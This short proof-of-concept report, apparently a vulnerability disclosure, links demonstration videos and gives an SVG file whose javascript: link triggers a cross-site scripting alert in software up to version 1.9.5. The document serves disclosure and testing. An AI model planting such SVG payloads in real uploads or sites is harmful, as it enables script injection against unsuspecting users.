Video POC (for <= 1.9.4): https://drive.google.com/open?id=19-sin0HB97L0tPMUAaGjgE5KjP4lXSuw Create a SVG with payload below to trigger XSS: ```<?xml version="1.0" standalone="no"?> <svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <a href="javascript :alert(1)"> <circle cx="50" cy="40" r="35"/> </a> </svg> ``` Video PoC for v1.9.5 : https://www.youtube.com/watch?v=hnQA2hc-4_k 